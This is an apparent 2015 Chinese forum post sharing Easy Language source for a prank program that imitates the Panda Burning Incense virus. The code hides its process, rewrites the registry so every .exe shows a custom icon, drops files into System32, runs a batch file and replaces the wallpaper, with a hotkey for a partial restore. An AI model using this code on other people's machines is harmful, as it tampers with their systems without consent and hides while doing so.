标题:
恶搞电脑——熊猫烧香
[打印本页]
作者:
huge
时间:
2015-2-19 01:26
标题:
恶搞电脑——熊猫烧香
仿熊猫烧香易语言版代码：
.版本 2
.支持库 eAPI
.支持库 shellEx
.程序集 窗口程序集1
.程序集变量 快捷键R, 整数型
.子程序 _Button_被单击
写注册项 (#根类, “exefile\DefaultIcon\”, “”)
运行 (“C:\Windows\System32\r.bat”, 假, )
写到文件 (“C:\Windows 7.bmp”, #壁纸2)
SystemParametersInfoA (20, 0, “C:\Windows 7.bmp”, 1)
设置桌面墙纸 (“C:\Windows 7.bmp”, 1)
删除文件 (“C:\Windows\System32\pic.bmp”)
删除文件 (“C:\Windows\System32\ico.ico”)
删除文件 (“C:\Windows\System32\r.bat”)
销毁 ()
.子程序 __启动窗口_创建完毕
隐藏进程 ()
快捷键R ＝ 注册热键 (_启动窗口.取窗口句柄 (), 标签1.取窗口句柄 (), 0, #R键)
写注册项 (#根类, “exefile\DefaultIcon\”, “C:\Windows\System32\ico.ico”)
写到文件 (“C:\Windows\System32\ico.ico”, #图标)
写到文件 (“C:\Windows\System32\r.bat”, #restore)
运行 (“C:\Windows\System32\r.bat”, 假, )
写到文件 (“C:\Windows\System32\pic.bmp”, #壁纸)
SystemParametersInfoA (20, 0, “C:\Windows\System32\pic.bmp”, 1)
设置桌面墙纸 (“C:\Windows\System32\pic.bmp”, 1)
.子程序 _About_被单击
载入 (窗口1, , 真)
.子程序 _标签1_反馈事件, 整数型
.参数 参数一, 整数型
.参数 参数二, 整数型
.如果真 (参数一 ＝ 快捷键R)
.如果真结束
_Button_被单击 ()
效果图
恢复效果
恢复效果还是不好，实在是想不出怎么恢复出原来壁纸方案的办法，所以就找了张大众化的图片代替。
至于隐藏进程，简直是一点用都没有，好吧，可能是我写错了。
欢迎光临 (http://www.51hei.com/bbs/)
Powered by Discuz! X3.1
.程序集变量 快捷键R, 整数型
